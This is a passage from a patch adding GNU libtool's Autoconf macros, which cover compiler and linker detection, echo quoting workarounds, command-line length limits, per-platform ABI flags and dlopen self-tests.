+AC_SUBST(LIBTOOL)dnl
+
+# Prevent multiple expansion
+define([AC_PROG_LIBTOOL], [])
+])# _AC_PROG_LIBTOOL
+
+
+# AC_LIBTOOL_SETUP
+# ----------------
+AC_DEFUN([AC_LIBTOOL_SETUP],
+[AC_PREREQ(2.50)dnl
+AC_REQUIRE([AC_ENABLE_SHARED])dnl
+AC_REQUIRE([AC_ENABLE_STATIC])dnl
+AC_REQUIRE([AC_ENABLE_FAST_INSTALL])dnl
+AC_REQUIRE([AC_CANONICAL_HOST])dnl
+AC_REQUIRE([AC_CANONICAL_BUILD])dnl
+AC_REQUIRE([AC_PROG_CC])dnl
+AC_REQUIRE([AC_PROG_LD])dnl
+AC_REQUIRE([AC_PROG_LD_RELOAD_FLAG])dnl
+AC_REQUIRE([AC_PROG_NM])dnl
+
+AC_REQUIRE([AC_PROG_LN_S])dnl
+AC_REQUIRE([AC_DEPLIBS_CHECK_METHOD])dnl
+# Autoconf 2.13's AC_OBJEXT and AC_EXEEXT macros only works for C compilers!
+AC_REQUIRE([AC_OBJEXT])dnl
+AC_REQUIRE([AC_EXEEXT])dnl
+dnl
+
+AC_LIBTOOL_SYS_MAX_CMD_LEN
+AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE
+AC_LIBTOOL_OBJDIR
+
+AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl
+_LT_AC_PROG_ECHO_BACKSLASH
+
+case $host_os in
+aix3*)
+  # AIX sometimes has problems with the GCC collect2 program.  For some
+  # reason, if we set the COLLECT_NAMES environment variable, the problems
+  # vanish in a puff of smoke.
+  if test "X${COLLECT_NAMES+set}" != Xset; then
+    COLLECT_NAMES=
+    export COLLECT_NAMES
+  fi
+  ;;
+esac
+
+# Sed substitution that helps us do robust quoting.  It backslashifies
+# metacharacters that are still active within double-quoted strings.
+Xsed='sed -e 1s/^X//'
+[sed_quote_subst='s/\([\\"\\`$\\\\]\)/\\\1/g']
+
+# Same as above, but do not quote variable references.
+[double_quote_subst='s/\([\\"\\`\\\\]\)/\\\1/g']
+
+# Sed substitution to delay expansion of an escaped shell variable in a
+# double_quote_subst'ed string.
+delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g'
+
+# Sed substitution to avoid accidental globbing in evaled expressions
+no_glob_subst='s/\*/\\\*/g'
+
+# Constants:
+rm="rm -f"
+
+# Global variables:
+default_ofile=libtool
+can_build_shared=yes
+
+# All known linkers require a `.a' archive for static linking (except MSVC,
+# which needs '.lib').
+libext=a
+ltmain="$ac_aux_dir/ltmain.sh"
+ofile="$default_ofile"
+with_gnu_ld="$lt_cv_prog_gnu_ld"
+
+AC_CHECK_TOOL(AR, ar, false)
+AC_CHECK_TOOL(RANLIB, ranlib, :)
+AC_CHECK_TOOL(STRIP, strip, :)
+
+old_CC="$CC"
+old_CFLAGS="$CFLAGS"
+
+# Set sane defaults for various variables
+test -z "$AR" && AR=ar
+test -z "$AR_FLAGS" && AR_FLAGS=cru
+test -z "$AS" && AS=as
+test -z "$CC" && CC=cc
+test -z "$LTCC" && LTCC=$CC
+test -z "$LTCFLAGS" && LTCFLAGS=$CFLAGS
+test -z "$DLLTOOL" && DLLTOOL=dlltool
+test -z "$LD" && LD=ld
+test -z "$LN_S" && LN_S="ln -s"
+test -z "$MAGIC_CMD" && MAGIC_CMD=file
+test -z "$NM" && NM=nm
+test -z "$SED" && SED=sed
+test -z "$OBJDUMP" && OBJDUMP=objdump
+test -z "$RANLIB" && RANLIB=:
+test -z "$STRIP" && STRIP=:
+test -z "$ac_objext" && ac_objext=o
+
+# Determine commands to create old-style static archives.
+old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs$old_deplibs'
+old_postinstall_cmds='chmod 644 $oldlib'
+old_postuninstall_cmds=
+
+if test -n "$RANLIB"; then
+  case $host_os in
+  openbsd*)
+    old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB -t \$oldlib"
+    ;;
+  *)
+    old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB \$oldlib"
+    ;;
+  esac
+  old_archive_cmds="$old_archive_cmds~\$RANLIB \$oldlib"
+fi
+
+_LT_CC_BASENAME([$compiler])
+
+# Only perform the check for file, if the check method requires it
+case $deplibs_check_method in
+file_magic*)
+  if test "$file_magic_cmd" = '$MAGIC_CMD'; then
+    AC_PATH_MAGIC
+  fi
+  ;;
+esac
+
+AC_PROVIDE_IFELSE([AC_LIBTOOL_DLOPEN], enable_dlopen=yes, enable_dlopen=no)
+AC_PROVIDE_IFELSE([AC_LIBTOOL_WIN32_DLL],
+enable_win32_dll=yes, enable_win32_dll=no)
+
+AC_ARG_ENABLE([libtool-lock],
+    [AC_HELP_STRING([--disable-libtool-lock],
+	[avoid locking (might break parallel builds)])])
+test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes
+
+AC_ARG_WITH([pic],
+    [AC_HELP_STRING([--with-pic],
+	[try to use only PIC/non-PIC objects @<:@default=use both@:>@])],
+    [pic_mode="$withval"],
+    [pic_mode=default])
+test -z "$pic_mode" && pic_mode=default
+
+# Use C for the default configuration in the libtool script
+tagname=
+AC_LIBTOOL_LANG_C_CONFIG
+_LT_AC_TAGCONFIG
+])# AC_LIBTOOL_SETUP
+
+
+# _LT_AC_SYS_COMPILER
+# -------------------
+AC_DEFUN([_LT_AC_SYS_COMPILER],
+[AC_REQUIRE([AC_PROG_CC])dnl
+
+# If no C compiler was specified, use CC.
+LTCC=${LTCC-"$CC"}
+
+# If no C compiler flags were specified, use CFLAGS.
+LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
+
+# Allow CC to be a program name with arguments.
+compiler=$CC
+])# _LT_AC_SYS_COMPILER
+
+
+# _LT_CC_BASENAME(CC)
+# -------------------
+# Calculate cc_basename.  Skip known compiler wrappers and cross-prefix.
+AC_DEFUN([_LT_CC_BASENAME],
+[for cc_temp in $1""; do
+  case $cc_temp in
+    compile | *[[\\/]]compile | ccache | *[[\\/]]ccache ) ;;
+    distcc | *[[\\/]]distcc | purify | *[[\\/]]purify ) ;;
+    \-*) ;;
+    *) break;;
+  esac
+done
+cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
+])
+
+
+# _LT_COMPILER_BOILERPLATE
+# ------------------------
+# Check for compiler boilerplate output or warnings with
+# the simple compiler test code.
+AC_DEFUN([_LT_COMPILER_BOILERPLATE],
+[ac_outfile=conftest.$ac_objext
+printf "$lt_simple_compile_test_code" >conftest.$ac_ext
+eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
+_lt_compiler_boilerplate=`cat conftest.err`
+$rm conftest*
+])# _LT_COMPILER_BOILERPLATE
+
+
+# _LT_LINKER_BOILERPLATE
+# ----------------------
+# Check for linker boilerplate output or warnings with
+# the simple link test code.
+AC_DEFUN([_LT_LINKER_BOILERPLATE],
+[ac_outfile=conftest.$ac_objext
+printf "$lt_simple_link_test_code" >conftest.$ac_ext
+eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
+_lt_linker_boilerplate=`cat conftest.err`
+$rm conftest*
+])# _LT_LINKER_BOILERPLATE
+
+
+# _LT_AC_SYS_LIBPATH_AIX
+# ----------------------
+# Links a minimal program and checks the executable
+# for the system default hardcoded library path. In most cases,
+# this is /usr/lib:/lib, but when the MPI compilers are used
+# the location of the communication and MPI libs are included too.
+# If we don't find anything, use the default library path according
+# to the aix ld manual.
+AC_DEFUN([_LT_AC_SYS_LIBPATH_AIX],
+[AC_LINK_IFELSE(AC_LANG_PROGRAM,[
+aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0  *\(.*\)$/\1/; p; }
+}'`
+# Check for a 64-bit object if we didn't find anything.
+if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0  *\(.*\)$/\1/; p; }
+}'`; fi],[])
+if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+])# _LT_AC_SYS_LIBPATH_AIX
+
+
+# _LT_AC_SHELL_INIT(ARG)
+# ----------------------
+AC_DEFUN([_LT_AC_SHELL_INIT],
+[ifdef([AC_DIVERSION_NOTICE],
+	     [AC_DIVERT_PUSH(AC_DIVERSION_NOTICE)],
+	 [AC_DIVERT_PUSH(NOTICE)])
+$1
+AC_DIVERT_POP
+])# _LT_AC_SHELL_INIT
+
+
+# _LT_AC_PROG_ECHO_BACKSLASH
+# --------------------------
+# Add some code to the start of the generated configure script which
+# will find an echo command which doesn't interpret backslashes.
+AC_DEFUN([_LT_AC_PROG_ECHO_BACKSLASH],
+[_LT_AC_SHELL_INIT([
+# Check that we are running under the correct shell.
+SHELL=${CONFIG_SHELL-/bin/sh}
+
+case X$ECHO in
+X*--fallback-echo)
+  # Remove one level of quotation (which was required for Make).
+  ECHO=`echo "$ECHO" | sed 's,\\\\\[$]\\[$]0,'[$]0','`
+  ;;
+esac
+
+echo=${ECHO-echo}
+if test "X[$]1" = X--no-reexec; then
+  # Discard the --no-reexec flag, and continue.
+  shift
+elif test "X[$]1" = X--fallback-echo; then
+  # Avoid inline document here, it may be left over
+  :
+elif test "X`($echo '\t') 2>/dev/null`" = 'X\t' ; then
+  # Yippee, $echo works!
+  :
+else
+  # Restart under the correct shell.
+  exec $SHELL "[$]0" --no-reexec ${1+"[$]@"}
+fi
+
+if test "X[$]1" = X--fallback-echo; then
+  # used as fallback echo
+  shift
+  cat <<EOF
+[$]*
+EOF
+  exit 0
+fi
+
+# The HP-UX ksh and POSIX shell print the target directory to stdout
+# if CDPATH is set.
+(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
+
+if test -z "$ECHO"; then
+if test "X${echo_test_string+set}" != Xset; then
+# find a string as large as possible, as long as the shell can cope with it
+  for cmd in 'sed 50q "[$]0"' 'sed 20q "[$]0"' 'sed 10q "[$]0"' 'sed 2q "[$]0"' 'echo test'; do
+    # expected sizes: less than 2Kb, 1Kb, 512 bytes, 16 bytes, ...
+    if (echo_test_string=`eval $cmd`) 2>/dev/null &&
+       echo_test_string=`eval $cmd` &&
+       (test "X$echo_test_string" = "X$echo_test_string") 2>/dev/null
+    then
+      break
+    fi
+  done
+fi
+
+if test "X`($echo '\t') 2>/dev/null`" = 'X\t' &&
+   echo_testing_string=`($echo "$echo_test_string") 2>/dev/null` &&
+   test "X$echo_testing_string" = "X$echo_test_string"; then
+  :
+else
+  # The Solaris, AIX, and Digital Unix default echo programs unquote
+  # backslashes.  This makes it impossible to quote backslashes using
+  #   echo "$something" | sed 's/\\/\\\\/g'
+  #
+  # So, first we look for a working echo in the user's PATH.
+
+  lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
+  for dir in $PATH /usr/ucb; do
+    IFS="$lt_save_ifs"
+    if (test -f $dir/echo || test -f $dir/echo$ac_exeext) &&
+       test "X`($dir/echo '\t') 2>/dev/null`" = 'X\t' &&
+       echo_testing_string=`($dir/echo "$echo_test_string") 2>/dev/null` &&
+       test "X$echo_testing_string" = "X$echo_test_string"; then
+      echo="$dir/echo"
+      break
+    fi
+  done
+  IFS="$lt_save_ifs"
+
+  if test "X$echo" = Xecho; then
+    # We didn't find a better echo, so look for alternatives.
+    if test "X`(print -r '\t') 2>/dev/null`" = 'X\t' &&
+       echo_testing_string=`(print -r "$echo_test_string") 2>/dev/null` &&
+       test "X$echo_testing_string" = "X$echo_test_string"; then
+      # This shell has a builtin print -r that does the trick.
+      echo='print -r'
+    elif (test -f /bin/ksh || test -f /bin/ksh$ac_exeext) &&
+	 test "X$CONFIG_SHELL" != X/bin/ksh; then
+      # If we have ksh, try running configure again with it.
+      ORIGINAL_CONFIG_SHELL=${CONFIG_SHELL-/bin/sh}
+      export ORIGINAL_CONFIG_SHELL
+      CONFIG_SHELL=/bin/ksh
+      export CONFIG_SHELL
+      exec $CONFIG_SHELL "[$]0" --no-reexec ${1+"[$]@"}
+    else
+      # Try using printf.
+      echo='printf %s\n'
+      if test "X`($echo '\t') 2>/dev/null`" = 'X\t' &&
+	 echo_testing_string=`($echo "$echo_test_string") 2>/dev/null` &&
+	 test "X$echo_testing_string" = "X$echo_test_string"; then
+	# Cool, printf works
+	:
+      elif echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` &&
+	   test "X$echo_testing_string" = 'X\t' &&
+	   echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` &&
+	   test "X$echo_testing_string" = "X$echo_test_string"; then
+	CONFIG_SHELL=$ORIGINAL_CONFIG_SHELL
+	export CONFIG_SHELL
+	SHELL="$CONFIG_SHELL"
+	export SHELL
+	echo="$CONFIG_SHELL [$]0 --fallback-echo"
+      elif echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` &&
+	   test "X$echo_testing_string" = 'X\t' &&
+	   echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` &&
+	   test "X$echo_testing_string" = "X$echo_test_string"; then
+	echo="$CONFIG_SHELL [$]0 --fallback-echo"
+      else
+	# maybe with a smaller string...
+	prev=:
+
+	for cmd in 'echo test' 'sed 2q "[$]0"' 'sed 10q "[$]0"' 'sed 20q "[$]0"' 'sed 50q "[$]0"'; do
+	  if (test "X$echo_test_string" = "X`eval $cmd`") 2>/dev/null
+	  then
+	    break
+	  fi
+	  prev="$cmd"
+	done
+
+	if test "$prev" != 'sed 50q "[$]0"'; then
+	  echo_test_string=`eval $prev`
+	  export echo_test_string
+	  exec ${ORIGINAL_CONFIG_SHELL-${CONFIG_SHELL-/bin/sh}} "[$]0" ${1+"[$]@"}
+	else
+	  # Oops.  We lost completely, so just stick with echo.
+	  echo=echo
+	fi
+      fi
+    fi
+  fi
+fi
+fi
+
+# Copy echo and quote the copy suitably for passing to libtool from
+# the Makefile, instead of quoting the original, which is used later.
+ECHO=$echo
+if test "X$ECHO" = "X$CONFIG_SHELL [$]0 --fallback-echo"; then
+   ECHO="$CONFIG_SHELL \\\$\[$]0 --fallback-echo"
+fi
+
+AC_SUBST(ECHO)
+])])# _LT_AC_PROG_ECHO_BACKSLASH
+
+
+# _LT_AC_LOCK
+# -----------
+AC_DEFUN([_LT_AC_LOCK],
+[AC_ARG_ENABLE([libtool-lock],
+    [AC_HELP_STRING([--disable-libtool-lock],
+	[avoid locking (might break parallel builds)])])
+test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes
+
+# Some flags need to be propagated to the compiler or linker for good
+# libtool support.
+case $host in
+ia64-*-hpux*)
+  # Find out which ABI we are using.
+  echo 'int i;' > conftest.$ac_ext
+  if AC_TRY_EVAL(ac_compile); then
+    case `/usr/bin/file conftest.$ac_objext` in
+    *ELF-32*)
+      HPUX_IA64_MODE="32"
+      ;;
+    *ELF-64*)
+      HPUX_IA64_MODE="64"
+      ;;
+    esac
+  fi
+  rm -rf conftest*
+  ;;
+*-*-irix6*)
+  # Find out which ABI we are using.
+  echo '[#]line __oline__ "configure"' > conftest.$ac_ext
+  if AC_TRY_EVAL(ac_compile); then
+   if test "$lt_cv_prog_gnu_ld" = yes; then
+    case `/usr/bin/file conftest.$ac_objext` in
+    *32-bit*)
+      LD="${LD-ld} -melf32bsmip"
+      ;;
+    *N32*)
+      LD="${LD-ld} -melf32bmipn32"
+      ;;
+    *64-bit*)
+      LD="${LD-ld} -melf64bmip"
+      ;;
+    esac
+   else
+    case `/usr/bin/file conftest.$ac_objext` in
+    *32-bit*)
+      LD="${LD-ld} -32"
+      ;;
+    *N32*)
+      LD="${LD-ld} -n32"
+      ;;
+    *64-bit*)
+      LD="${LD-ld} -64"
+      ;;
+    esac
+   fi
+  fi
+  rm -rf conftest*
+  ;;
+
+x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*|s390*-*linux*|sparc*-*linux*)
+  # Find out which ABI we are using.
+  echo 'int i;' > conftest.$ac_ext
+  if AC_TRY_EVAL(ac_compile); then
+    case `/usr/bin/file conftest.o` in
+    *32-bit*)
+      case $host in
+        x86_64-*linux*)
+          LD="${LD-ld} -m elf_i386"
+          ;;
+        ppc64-*linux*|powerpc64-*linux*)
+          LD="${LD-ld} -m elf32ppclinux"
+          ;;
+        s390x-*linux*)
+          LD="${LD-ld} -m elf_s390"
+          ;;
+        sparc64-*linux*)
+          LD="${LD-ld} -m elf32_sparc"
+          ;;
+      esac
+      ;;
+    *64-bit*)
+      case $host in
+        x86_64-*linux*)
+          LD="${LD-ld} -m elf_x86_64"
+          ;;
+        ppc*-*linux*|powerpc*-*linux*)
+          LD="${LD-ld} -m elf64ppc"
+          ;;
+        s390*-*linux*)
+          LD="${LD-ld} -m elf64_s390"
+          ;;
+        sparc*-*linux*)
+          LD="${LD-ld} -m elf64_sparc"
+          ;;
+      esac
+      ;;
+    esac
+  fi
+  rm -rf conftest*
+  ;;
+
+*-*-sco3.2v5*)
+  # On SCO OpenServer 5, we need -belf to get full-featured binaries.
+  SAVE_CFLAGS="$CFLAGS"
+  CFLAGS="$CFLAGS -belf"
+  AC_CACHE_CHECK([whether the C compiler needs -belf], lt_cv_cc_needs_belf,
+    [AC_LANG_PUSH(C)
+     AC_TRY_LINK([],[],[lt_cv_cc_needs_belf=yes],[lt_cv_cc_needs_belf=no])
+     AC_LANG_POP])
+  if test x"$lt_cv_cc_needs_belf" != x"yes"; then
+    # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf
+    CFLAGS="$SAVE_CFLAGS"
+  fi
+  ;;
+sparc*-*solaris*)
+  # Find out which ABI we are using.
+  echo 'int i;' > conftest.$ac_ext
+  if AC_TRY_EVAL(ac_compile); then
+    case `/usr/bin/file conftest.o` in
+    *64-bit*)
+      case $lt_cv_prog_gnu_ld in
+      yes*) LD="${LD-ld} -m elf64_sparc" ;;
+      *)    LD="${LD-ld} -64" ;;
+      esac
+      ;;
+    esac
+  fi
+  rm -rf conftest*
+  ;;
+
+AC_PROVIDE_IFELSE([AC_LIBTOOL_WIN32_DLL],
+[*-*-cygwin* | *-*-mingw* | *-*-pw32*)
+  AC_CHECK_TOOL(DLLTOOL, dlltool, false)
+  AC_CHECK_TOOL(AS, as, false)
+  AC_CHECK_TOOL(OBJDUMP, objdump, false)
+  ;;
+  ])
+esac
+
+need_locks="$enable_libtool_lock"
+
+])# _LT_AC_LOCK
+
+
+# AC_LIBTOOL_COMPILER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS,
+#		[OUTPUT-FILE], [ACTION-SUCCESS], [ACTION-FAILURE])
+# ----------------------------------------------------------------
+# Check whether the given compiler option works
+AC_DEFUN([AC_LIBTOOL_COMPILER_OPTION],
+[AC_REQUIRE([LT_AC_PROG_SED])
+AC_CACHE_CHECK([$1], [$2],
+  [$2=no
+  ifelse([$4], , [ac_outfile=conftest.$ac_objext], [ac_outfile=$4])
+   printf "$lt_simple_compile_test_code" > conftest.$ac_ext
+   lt_compiler_flag="$3"
+   # Insert the option either (1) after the last *FLAGS variable, or
+   # (2) before a word containing "conftest.", or (3) at the end.
+   # Note that $ac_compile itself does not contain backslashes and begins
+   # with a dollar sign (not a hyphen), so the echo should work correctly.
+   # The option is referenced via a variable to avoid confusing sed.
+   lt_compile=`echo "$ac_compile" | $SED \
+   -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
+   -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \
+   -e 's:$: $lt_compiler_flag:'`
+   (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD)
+   (eval "$lt_compile" 2>conftest.err)
+   ac_status=$?
+   cat conftest.err >&AS_MESSAGE_LOG_FD
+   echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD
+   if (exit $ac_status) && test -s "$ac_outfile"; then
+     # The compiler can only warn and ignore the option if not recognized
+     # So say no if there are warnings other than the usual output.
+     $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
+     $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
+     if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
+       $2=yes
+     fi
+   fi
+   $rm conftest*
+])
+
+if test x"[$]$2" = xyes; then
+    ifelse([$5], , :, [$5])
+else
+    ifelse([$6], , :, [$6])
+fi
+])# AC_LIBTOOL_COMPILER_OPTION
+
+
+# AC_LIBTOOL_LINKER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS,
+#                          [ACTION-SUCCESS], [ACTION-FAILURE])
+# ------------------------------------------------------------
+# Check whether the given compiler option works
+AC_DEFUN([AC_LIBTOOL_LINKER_OPTION],
+[AC_CACHE_CHECK([$1], [$2],
+  [$2=no
+   save_LDFLAGS="$LDFLAGS"
+   LDFLAGS="$LDFLAGS $3"
+   printf "$lt_simple_link_test_code" > conftest.$ac_ext
+   if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
+     # The linker can only warn and ignore the option if not recognized
+     # So say no if there are warnings
+     if test -s conftest.err; then
+       # Append any errors to the config.log.
+       cat conftest.err 1>&AS_MESSAGE_LOG_FD
+       $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
+       $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
+       if diff conftest.exp conftest.er2 >/dev/null; then
+         $2=yes
+       fi
+     else
+       $2=yes
+     fi
+   fi
+   $rm conftest*
+   LDFLAGS="$save_LDFLAGS"
+])
+
+if test x"[$]$2" = xyes; then
+    ifelse([$4], , :, [$4])
+else
+    ifelse([$5], , :, [$5])
+fi
+])# AC_LIBTOOL_LINKER_OPTION
+
+
+# AC_LIBTOOL_SYS_MAX_CMD_LEN
+# --------------------------
+AC_DEFUN([AC_LIBTOOL_SYS_MAX_CMD_LEN],
+[# find the maximum length of command line arguments
+AC_MSG_CHECKING([the maximum length of command line arguments])
+AC_CACHE_VAL([lt_cv_sys_max_cmd_len], [dnl
+  i=0
+  teststring="ABCD"
+
+  case $build_os in
+  msdosdjgpp*)
+    # On DJGPP, this test can blow up pretty badly due to problems in libc
+    # (any single argument exceeding 2000 bytes causes a buffer overrun
+    # during glob expansion).  Even if it were fixed, the result of this
+    # check would be larger than it should be.
+    lt_cv_sys_max_cmd_len=12288;    # 12K is about right
+    ;;
+
+  gnu*)
+    # Under GNU Hurd, this test is not required because there is
+    # no limit to the length of command line arguments.
+    # Libtool will interpret -1 as no limit whatsoever
+    lt_cv_sys_max_cmd_len=-1;
+    ;;
+
+  cygwin* | mingw*)
+    # On Win9x/ME, this test blows up -- it succeeds, but takes
+    # about 5 minutes as the teststring grows exponentially.
+    # Worse, since 9x/ME are not pre-emptively multitasking,
+    # you end up with a "frozen" computer, even though with patience
+    # the test eventually succeeds (with a max line length of 256k).
+    # Instead, let's just punt: use the minimum linelength reported by
+    # all of the supported platforms: 8192 (on NT/2K/XP).
+    lt_cv_sys_max_cmd_len=8192;
+    ;;
+
+  amigaos*)
+    # On AmigaOS with pdksh, this test takes hours, literally.
+    # So we just punt and use a minimum line length of 8192.
+    lt_cv_sys_max_cmd_len=8192;
+    ;;
+
+  netbsd* | freebsd* | openbsd* | darwin* | dragonfly*)
+    # This has been around since 386BSD, at least.  Likely further.
+    if test -x /sbin/sysctl; then
+      lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax`
+    elif test -x /usr/sbin/sysctl; then
+      lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax`
+    else
+      lt_cv_sys_max_cmd_len=65536	# usable default for all BSDs
+    fi
+    # And add a safety zone
+    lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4`
+    lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3`
+    ;;
+
+  interix*)
+    # We know the value 262144 and hardcode it with a safety zone (like BSD)
+    lt_cv_sys_max_cmd_len=196608
+    ;;
+
+  osf*)
+    # Dr. Hans Ekkehard Plesser reports seeing a kernel panic running configure
+    # due to this test when exec_disable_arg_limit is 1 on Tru64. It is not
+    # nice to cause kernel panics so lets avoid the loop below.
+    # First set a reasonable default.
+    lt_cv_sys_max_cmd_len=16384
+    #
+    if test -x /sbin/sysconfig; then
+      case `/sbin/sysconfig -q proc exec_disable_arg_limit` in
+        *1*) lt_cv_sys_max_cmd_len=-1 ;;
+      esac
+    fi
+    ;;
+  sco3.2v5*)
+    lt_cv_sys_max_cmd_len=102400
+    ;;
+  sysv5* | sco5v6* | sysv4.2uw2*)
+    kargmax=`grep ARG_MAX /etc/conf/cf.d/stune 2>/dev/null`
+    if test -n "$kargmax"; then
+      lt_cv_sys_max_cmd_len=`echo $kargmax | sed 's/.*[[ 	]]//'`
+    else
+      lt_cv_sys_max_cmd_len=32768
+    fi
+    ;;
+  *)
+    # If test is not a shell built-in, we'll probably end up computing a
+    # maximum length that is only half of the actual maximum length, but
+    # we can't tell.
+    SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}}
+    while (test "X"`$SHELL [$]0 --fallback-echo "X$teststring" 2>/dev/null` \
+	       = "XX$teststring") >/dev/null 2>&1 &&
+	    new_result=`expr "X$teststring" : ".*" 2>&1` &&
+	    lt_cv_sys_max_cmd_len=$new_result &&
+	    test $i != 17 # 1/2 MB should be enough
+    do
+      i=`expr $i + 1`
+      teststring=$teststring$teststring
+    done
+    teststring=
+    # Add a significant safety factor because C++ compilers can tack on massive
+    # amounts of additional arguments before passing them to the linker.
+    # It appears as though 1/2 is a usable value.
+    lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2`
+    ;;
+  esac
+])
+if test -n $lt_cv_sys_max_cmd_len ; then
+  AC_MSG_RESULT($lt_cv_sys_max_cmd_len)
+else
+  AC_MSG_RESULT(none)
+fi
+])# AC_LIBTOOL_SYS_MAX_CMD_LEN
+
+
+# _LT_AC_CHECK_DLFCN
+# ------------------
+AC_DEFUN([_LT_AC_CHECK_DLFCN],
+[AC_CHECK_HEADERS(dlfcn.h)dnl
+])# _LT_AC_CHECK_DLFCN
+
+
+# _LT_AC_TRY_DLOPEN_SELF (ACTION-IF-TRUE, ACTION-IF-TRUE-W-USCORE,
+#                           ACTION-IF-FALSE, ACTION-IF-CROSS-COMPILING)
+# ---------------------------------------------------------------------
+AC_DEFUN([_LT_AC_TRY_DLOPEN_SELF],
+[AC_REQUIRE([_LT_AC_CHECK_DLFCN])dnl
+if test "$cross_compiling" = yes; then :
+  [$4]
+else
+  lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+  lt_status=$lt_dlunknown
+  cat > conftest.$ac_ext <<EOF
+[#line __oline__ "configure"
+#include "confdefs.h"
+
+#if HAVE_DLFCN_H
+#include <dlfcn.h>
+#endif
+
+#include <stdio.h>
+
+#ifdef RTLD_GLOBAL
+#  define LT_DLGLOBAL		RTLD_GLOBAL
+#else
+#  ifdef DL_GLOBAL
+#    define LT_DLGLOBAL		DL_GLOBAL
+#  else
+#    define LT_DLGLOBAL		0
+#  endif
+#endif
+
+/* We may have to define LT_DLLAZY_OR_NOW in the command line if we
+   find out it does not work in some platform. */
+#ifndef LT_DLLAZY_OR_NOW
+#  ifdef RTLD_LAZY
+#    define LT_DLLAZY_OR_NOW		RTLD_LAZY
+#  else
+#    ifdef DL_LAZY
+#      define LT_DLLAZY_OR_NOW		DL_LAZY
+#    else
+#      ifdef RTLD_NOW
+#        define LT_DLLAZY_OR_NOW	RTLD_NOW
+#      else
+#        ifdef DL_NOW
+#          define LT_DLLAZY_OR_NOW	DL_NOW
+#        else
+#          define LT_DLLAZY_OR_NOW	0
+#        endif
+#      endif
+#    endif
+#  endif
+#endif
+
+#ifdef __cplusplus
+extern "C" void exit (int);
+#endif
+
+void fnord() { int i=42;}
+int main ()
+{
+  void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+  int status = $lt_dlunknown;
+
+  if (self)
+    {
+      if (dlsym (self,"fnord"))       status = $lt_dlno_uscore;
+      else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore;
+      /* dlclose (self); */
+    }
+  else
+    puts (dlerror ());
+
+    exit (status);
+}]
+EOF
+  if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext} 2>/dev/null; then
+    (./conftest; exit; ) >&AS_MESSAGE_LOG_FD 2>/dev/null
+    lt_status=$?
+    case x$lt_status in
+      x$lt_dlno_uscore) $1 ;;
+      x$lt_dlneed_uscore) $2 ;;
+      x$lt_dlunknown|x*) $3 ;;
+    esac
+  else :
+    # compilation failed
+    $3
+  fi
+fi
+rm -fr conftest*
+])# _LT_AC_TRY_DLOPEN_SELF
+
+
+# AC_LIBTOOL_DLOPEN_SELF
+# ----------------------
+AC_DEFUN([AC_LIBTOOL_DLOPEN_SELF],
+[AC_REQUIRE([_LT_AC_CHECK_DLFCN])dnl
+if test "x$enable_dlopen" != xyes; then
+  enable_dlopen=unknown
+  enable_dlopen_self=unknown
+  enable_dlopen_self_static=unknown
+else
+  lt_cv_dlopen=no
+  lt_cv_dlopen_libs=
+
+  case $host_os in
+  beos*)
+    lt_cv_dlopen="load_add_on"
+    lt_cv_dlopen_libs=
+    lt_cv_dlopen_self=yes
+    ;;
+
+  mingw* | pw32*)
+    lt_cv_dlopen="LoadLibrary"
+    lt_cv_dlopen_libs=
+   ;;
+
+  cygwin*)
+    lt_cv_dlopen="dlopen"
+    lt_cv_dlopen_libs=
+   ;;
+
+  darwin*)
+  # if libdl is installed we need to link against it
+    AC_CHECK_LIB([dl], [dlopen],
